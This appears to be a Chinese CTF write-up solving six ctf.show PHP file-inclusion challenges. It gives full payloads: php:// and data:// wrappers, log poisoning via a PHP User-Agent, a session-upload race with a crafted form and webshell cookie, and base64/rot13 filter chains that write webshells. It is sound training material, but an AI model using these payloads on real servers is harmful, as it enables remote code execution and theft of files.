CTF.show 文件包含

(1)

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

解题思路:PHP伪协议

PS:?file=php://filter/convert.base64-encode/resource=flag.php

(2)

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

解题思路:PHP伪协议

PS:

?file=data://text/plain,<?=system('ls');?>

?file=data://text/plain,<?=system('tac flag*');?>

(3)

①if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

②if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

解题思路:本关过滤了php和data应该是不允许使用伪协议,但是可以正常包含,采用包含日志文件的方式。包含日志文件,日志文件中包含了URL以ua信息等,这里ua最容易控制,抓包改ua,进行getshell  日志文件路径:?file=/var/log/nginx/access.log

GET /?file=/var/log/nginx/access.log HTTP/1.1
Host: ef479e6d-ac19-437c-98e7-3d77b08626fb.challenge.ctf.show
User-Agent: <?php system('ls');?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

GET /?file=/var/log/nginx/access.log HTTP/1.1
Host: ef479e6d-ac19-437c-98e7-3d77b08626fb.challenge.ctf.show
User-Agent: <?php system('base64 fl0g.php');?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

(4)

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

解题思路:通过上传PHP_SESSION_UPLOAD_PROGRESS来访问/tmp/sess_xxx,最后加上条件竞争来进行文件包含

①将以下的代码复制到记事本上保存为html后缀的文件,蓝色位置修改为题目位置

<!DOCTYPE html>
<html>
<body>
<form action="http://ed5a888e-8a6b-4e9f-9f47-0d3922ca327d.chall.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

②打开网页后,开启代理,随便上传一个文件(里边内容最好为一句话木马)抓包

③将其发送给Inturder,然后我们添加一个 Cookie :PHPSESSID=flag<?php system('ls');?>,PHP将会在服务器上创建一个文件:/tmp/sess_flag” (这里我们猜测session文件默认存储位置为/tmp),并在PHP_SESSION_UPLOAD_PROGR添加一句话木马,修改如下:

 ④因为我们在上面这个页面添加的ID值是flag,所以回到题目页面上传参?file=/tmp/sess_flag

 ⑤这里为了能成功抓包,我们可以先把代理和拦截请求关闭,get传参完毕后再将拦截请求和代理打开,刷新页面后,即可成功抓包,然后再次发送给Inturder。这个a是随便加的,主要是为了方便爆破,这里注意加a的时候要空一行

 ⑥接下来我们要用条件竞争来访问,所以要将这两个包同时爆破,其实就是一个不停的发送,一个不停的访问,总会有几个在删除之前访问到的,这就是条件竞争。以下是爆破的有效载荷设置:

 ⑦开始攻击,在攻击结束后我们调整长度,查看第一个进程的响应可以发现fl0g.php

 ⑧接下来,我们返回Inturder界面,将命令ls改为cat fl0g.php

⑨ 最后,我们继续将抓到的两个包一起进行爆破,攻击结束后调整长度,查看第一个进程的响应可以得到flag

(5)

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
}

解题思路:"<?php die('大佬别秀了');?>".$conten可知我们输入的内容前面被塞上了<?php die('大佬别秀了');?>,如何绕过它执行我们的php代码是一个重点

题解一:rot13编码(凯撒密码位移13)

①使用hackbar进行php://filter的妙用(可在工具栏中使用)(这里要注意把read改为write)

http://c270b237-7de8-4726-8209-456bbfd1ad39.challenge.ctf.show/?file=php://filter/write=string.rot13/resource=2.php

 

②POST传参content内容:<?php system('tac f*.php');?> rot13编码后 <?cuc flfgrz('gnp s*.cuc');?>

传参content=<?cuc flfgrz('gnp s*.cuc');?>

 

urldecode($file)题目对file进行了URL编码,$file为写入文件的路径,题目对其进行次url解码,而浏览器也要进行一次url解码,所以我们对输入的payload进行2次url编码就可以绕过过滤(借助Notepad++的插件工具)

 

④2次URL编码后,便可以执行命令了

⑤返回为空白页面,我们打开刚刚的2.php页面,看命令有没有成功执行,命令成功执行,发现flag

http://c270b237-7de8-4726-8209-456bbfd1ad39.challenge.ctf.show/2.php(这里要注意不能再传参了,而是直接/2.php)

 题解二:base64编码

①POST传参content:

<?php system('ls');?> base64编码 PD9waHAgc3lzdGVtKCdscycpOz8+

写入的文件内容

<?php die('大佬别秀了');?>PD9waHAgc3lzdGVtKCdscycpOz8+

补两个a

content=aaPD9waHAgc3lzdGVtKCdscycpOz8+

 

②对file进行两次全编码(使用Notepad++的插件工具全编码)

?file=php://filter/write=convert.base64-decode/resource=flag.php 全编码后

%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%36%36%25%36%43%25%36%31%25%36%37%25%32%45%25%37%30%25%36%38%25%37%30

 ③执行后,返回空白页面,接着打开flag.php页面,发现了fl0g.php文件

 

④接下来我们只需重复以上的操作,将命令修改一下

<?php system('tac f*.php');?> base64编码后

PD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=

加上两个a

content=aaPD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=

 ⑤打开flag.php页面

(6)

 if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

解题思路:直接使用伪协议:即?file=data://text/plain;base64,base64以后的命令

?file=data://text/plain;base64,<?php system('tac *.php');?>

进行base64编码:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值